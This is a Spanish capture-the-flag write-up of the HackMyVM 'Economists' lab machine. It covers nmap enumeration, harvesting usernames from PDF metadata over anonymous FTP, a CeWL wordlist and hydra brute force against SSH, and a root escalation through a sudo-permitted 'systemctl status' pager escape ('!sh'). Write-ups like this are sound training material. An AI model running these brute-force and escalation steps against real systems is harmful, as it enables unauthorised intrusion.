



Informe técnico de la máquina Economists

Autor: Tomás Álvarez
Fecha: 8 de mayo de 2026
Plataforma: HackMyVm



Índice

1. Sumario ejecutivo	2
2. Fase de reconocimiento	3
2.1. Descubrimiento de hosts	3
2.2. Enumeración de puerto y descubrimiento de servicios	3
2.3. Enumeración de FTP y extracción de archivos	5
2.4. Análisis del contenido web y generación de wordlist personalizada	5
3. Acceso inicial: Ataque de Fuerza bruta	5
3.1. Fuerza bruta hacia el servicio SSH	5
3.2. Enumeración de usuarios del sistema	6
3.3. Análisis del CVE-2023-26604	6
3.4. Escalada de privilegios: Privilegios de sudo mal configurados	6



1. Sumario ejecutivo

En el presente informe se relatará la auditoría efectuada ante la máquina **Economists** de la plataforma **HackMyVm**. Esta plataforma proporciona máquinas vulnerables publicadas por la comunidad, con el objetivo de poner en práctica técnicas de enumeración, explotación, escalada de privilegios, etc. dentro de un entorno seguro.

La máquina Economists expone un servicio **FTP con acceso anónimo** que contiene archivos **PDF** cuyos metadatos revelan **nombres de usuario** del sistema. En paralelo, mediante **scraping web** con CeWL se genera un diccionario de contraseñas a partir del contenido del sitio HTTP. Combinando ambos insumos se realiza un **ataque de fuerza bruta** contra el servicio **SSH**, obteniendo acceso inicial al sistema. Posteriormente, se escala privilegios explotando una **mala configuración de sudo** que permite ejecutar `systemctl status` como root sin contraseña, escapando al shell desde el pager `less`. Es por estas razones que esta máquina está catalogada con un nivel de dificultad **fácil**.



2. Fase de reconocimiento

2.1. Descubrimiento de hosts

Para el descubrimiento de hosts en esta primera fase se optó por utilizar el método **ICMP echo request** mediante la herramienta **nmap**, lo que permitió identificar los equipos activos y accesibles dentro del segmento de red objetivo:

```
1 $ nmap -sn 192.168.0.0/24 | grep "Nmap scan"
2 Nmap scan report for 192.168.0.1
3 Nmap scan report for elite-economists.hmv (192.168.0.200)
4 Nmap scan report for navi (192.168.0.131)
```

Listing 1: Identificando equipo objetivo con nmap

2.2. Enumeración de puerto y descubrimiento de servicios

Una vez ya identificado el dispositivo a auditar se procede a hacer un primer escaneo con el fin de detectar de forma limpia todos los puertos abiertos, para posteriormente hacer un escaneo de forma más detallada para determinar servicio y versiones expuestos en cada puerto:

```
1 $ sudo nmap -p 21,22,80 -sCV -sS -Pn -vvv -oN nmap.txt -oX nmap.xml 192.168.0.200
```

Listing 2: Escaneo de servicio y versiones con nmap

```
1 Nmap scan report for elite-economists (192.168.0.200)
2 Host is up, received arp-response (0.00033s latency).
3 Scanned at 2026-05-07 21:05:32 -04 for 7s
4
5 PORT      STATE SERVICE REASON          VERSION
6 21/tcp    open  ftp      syn-ack ttl 64  vsftpd 3.0.3
7 | ftp-syst:
8 |   STAT:
9 |   FTP server status:
10 |     Connected to ::ffff:192.168.0.131
11 |     Logged in as ftp
12 |     TYPE: ASCII
13 |     No session bandwidth limit
14 |     Session timeout in seconds is 300
15 |     Control connection is plain text
16 |     Data connections will be plain text
17 |     At session startup, client count was 3
18 |     vsFTPD 3.0.3 - secure, fast, stable
19 |_End of status
20 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
21 | -rw-rw-r--  1 1000      1000      173864 Sep 13   2023 Brochure-1.pdf
22 | -rw-rw-r--  1 1000      1000      183931 Sep 13   2023 Brochure-2.pdf
23 | -rw-rw-r--  1 1000      1000      465409 Sep 13   2023 Financial-infographics-
24 | poster.pdf
25 | -rw-rw-r--  1 1000      1000      269546 Sep 13   2023 Gameboard-poster.pdf
```



```
25 | -rw-rw-r-- 1 1000 1000 126644 Sep 13 2023 Growth-timeline.pdf
26 |_-rw-rw-r-- 1 1000 1000 1170323 Sep 13 2023 Population-poster.pdf
27 22/tcp open  ssh      syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux;
    protocol 2.0)
28 | ssh-hostkey:
29 |   3072 d9:fe:dc:77:b8:fc:e6:4c:cf:15:29:a7:e7:21:a2:62 (RSA)
30 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDwXTk2hpk3kYCB9R/x6h/MZK0hZ2uK5iqjYUW7wyb6Rz/
    a8UbYu5XMJ63fRg6wZ5u1NWSb9A6j00BoSoh74drbY7saloYgDtALyCLaXiSx0t2Va4Px10H8xaAZeSLwz
    /ZKiRHiyu4uh4B4Tf/vFGDe4Np3cfc02ftQYwhqGGVeaIbCFTDbnZBw0J+Ezgj2yJ0GBYEeYU+
    au7BogSulWABGdGr9XmxApVmTaPvinWe89vqkiyc3CZHDpbrJu02cYm3aJFVpcCGBIx6wZcx2gC8W2ws3iStDfg4SILPf
    ++D+aK+p4K2gz5KPZjIU002RKdM0dzSIqN6K7yQMKjdKw7Ig+
    d9qvzn54hYKUbpvpcnHnw2IhPcBytW6pndDQhyZ0g5RAzSRl01nvgt6QMm0TG1X/3
    00gtPbIH0DnDFMVcl5YEUM8c2ebng7gSSUJDnU0iTPPYTbpJsEgYGWbU=
31 |   256 be:66:01:fb:d5:85:68:c7:25:94:b9:00:f9:cd:41:01 (ECDSA)
32 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIVUhm/
    zlKMghG0QJ90nVnueTstnWLIWtn6ZH4zQDMqSM1vaX9Gtza7d2q0/91uTSyU7yx9pyjR7qnQwJUjTQFw=
33 |   256 18:b4:74:4f:f2:3c:b3:13:1a:24:13:46:5c:fa:40:72 (ED25519)
34 |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIkYALtXLPsg30ZKCJbTRKnegoETlYTzlda2oKygf/cN
35 80/tcp open  http      syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
36 |_http-title: Home - Elite Economists
37 | http-methods:
38 |_ Supported Methods: GET POST OPTIONS HEAD
39 |_http-server-header: Apache/2.4.41 (Ubuntu)
40 MAC Address: 08:00:27:E0:55:E3 (Oracle VirtualBox virtual NIC)
41 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
42
43 Read data files from: /usr/share/nmap
44 Service detection performed. Please report any incorrect results at https://nmap.org/
    submit/ .
45 # Nmap done at Thu May 7 21:05:39 2026 -- 1 IP address (1 host up) scanned in 7.07
    seconds
```

Listing 3: Resultado del escaneo

#	Servicio	Puerto	Estado	Superficie de ataque
1	vsftpd 3.0.3	21	Abierto	Acceso anónimo con archivos PDF expuestos
2	OpenSSH 8.2p1	22	Abierto	Acceso autenticado a la máquina
3	Apache httpd 2.4.41	80	Abierto	Aplicación web, generación de wordlist

Cuadro 1: Resumen de superficie de ataque



2.3. Enumeración de FTP y extracción de archivos

Durante el escaneo con **nmap** se identificó que el servicio **FTP** permite acceso anónimo, exponiendo los siguientes archivos PDF:

```
1 -rw-rw-r-- 1 1000 1000 173864 Sep 13 2023 Brochure-1.pdf
2 -rw-rw-r-- 1 1000 1000 183931 Sep 13 2023 Brochure-2.pdf
3 -rw-rw-r-- 1 1000 1000 465409 Sep 13 2023 Financial-infographics-poster.
  pdf
4 -rw-rw-r-- 1 1000 1000 269546 Sep 13 2023 Gameboard-poster.pdf
5 -rw-rw-r-- 1 1000 1000 126644 Sep 13 2023 Growth-timeline.pdf
6 -rw-rw-r-- 1 1000 1000 170323 Sep 13 2023 Population-poster.pdf
```

Listing 4: Archivos PDF expuestos mediante acceso anónimo FTP

El análisis de estos archivos permitió extraer dos hallazgos relevantes: por un lado, referencias al dominio **elite-economists.hmv**, y por otro, **nombres de usuario del sistema** embebidos en los metadatos de los documentos, estos usuarios son **joseph**, **richard**, **crystal** y **catherine**, estos nombres de usuarios serán utilizados en la fase del ataque por fuerza bruta hacia ssh.

2.4. Análisis del contenido web y generación de wordlist personalizada

La enumeración de directorios y subdominios no reveló vectores de acceso adicionales, por lo que el foco del reconocimiento web se orientó a la generación de un diccionario personalizado.

Para la generación de un diccionario de contraseñas personalizado se analizó el contenido de la aplicación web expuesta en el puerto **80**, utilizando la herramienta **CeWL** para extraer palabras clave del sitio:

```
1 $ cewl http://elite-economists.hmv -w customPass.txt
```

Listing 5: Generación de wordlist personalizada con CeWL

Esto generó un diccionario basado en el contenido temático del sitio, el cual será utilizado en la fase de ataque de fuerza bruta contra el servicio SSH.

3. Acceso inicial: Ataque de Fuerza bruta

3.1. Fuerza bruta hacia el servicio SSH

Con una lista de nombres de usuario y la wordlist personalizada se procede a efectuar el ataque de fuerza bruta usando la herramienta **hydra**:

```
1 $ hydra -L customUsers.txt -P customPass.txt ssh://192.168.0.200
2 [22][ssh] host: 192.168.0.200 login: joseph password: wealthiest
```

Listing 6: Fuerza bruta de contraseñas usando hydra



El ataque de fuerza bruta descubrió una contraseña válida para el usuario **joseph**, es así como se consigue un acceso inicial hacia la máquina:

```
joseph@elite-economists:~$ whoami ; hostname ; id
joseph
elite-economists
uid=1001(joseph) gid=1001(joseph) groups=1001(joseph)
joseph@elite-economists:~$
```

Figura 1: Acceso inicial como usuario joseph

3.2. Enumeración de usuarios del sistema

Al momento de acceder al sistema se procedió a leer `/etc/passwd` para identificar los usuarios contemplados en el sistema, aquí se pueden identificar varios usuarios pero destaca el usuario **richard** el cual cuenta con el `uid=1000`, así que se procede a enumerar archivos dentro de su directorio personal, donde se encuentra el siguiente script llamado `test.sh`:

```
#!/bin/sh

version=$(systemd --version | awk 'NR==1{print $2}')

if (($version lt 247)) then
    echo 'Vulnerable'
else
    echo 'Not vulnerable'
fi
```

Listing 7: Script de validación de versión de systemd encontrado en directorio de richard

3.3. Análisis del CVE-2023-26604

Este script intenta validar si la versión de **systemd** instalada es vulnerable al **CVE-2023-26604**, el cual permite una **escalada de privilegios local (LPE)** a través del paginador `less` cuando se utiliza junto a `systemctl`. Cuando se ejecutan comandos como `systemctl status`, `systemd` abre el paginador para mostrar el contenido, desde donde es posible escapar a una shell como `root` ejecutando `!sh`.

Sin embargo, el script presenta un error de programación: utiliza el operador `lt` propio de comparaciones de cadenas en lugar de una comparación numérica, por lo que genera un **falso positivo** independientemente de la versión instalada. A pesar de esto, el hallazgo confirma que el vector de ataque fue contemplado por un usuario del sistema, lo que orienta la investigación hacia `systemctl` como posible vía de escalada.

3.4. Escalada de privilegios: Privilegios de sudo mal configurados

Al ejecutar el comando `sudo -l` para verificar si el usuario cuenta con permisos para ejecutar comandos como otro usuario, se identifica la siguiente configuración:



```
User joseph may run the following commands on elite-economists:  
(ALL) NOPASSWD: /usr/bin/systemctl status
```

Listing 8: Permisos de ejecución de systemctl como sudo

Si verificamos de forma manual la versión de systemctl podemos ver que la versión en efecto es inferior a la 247, por lo que es posible efectuar esta escalada de privilegios. Para eso ejecutamos el comando `sudo /usr/bin/systemctl status` y dentro de `less` hay que escribir `!sh` para escapar la shell como root.

```
!sh  
# whoami  
root  
# id  
uid=0(root) gid=0(root) groups=0(root)  
#
```

Figura 2: Ejecución de comando como root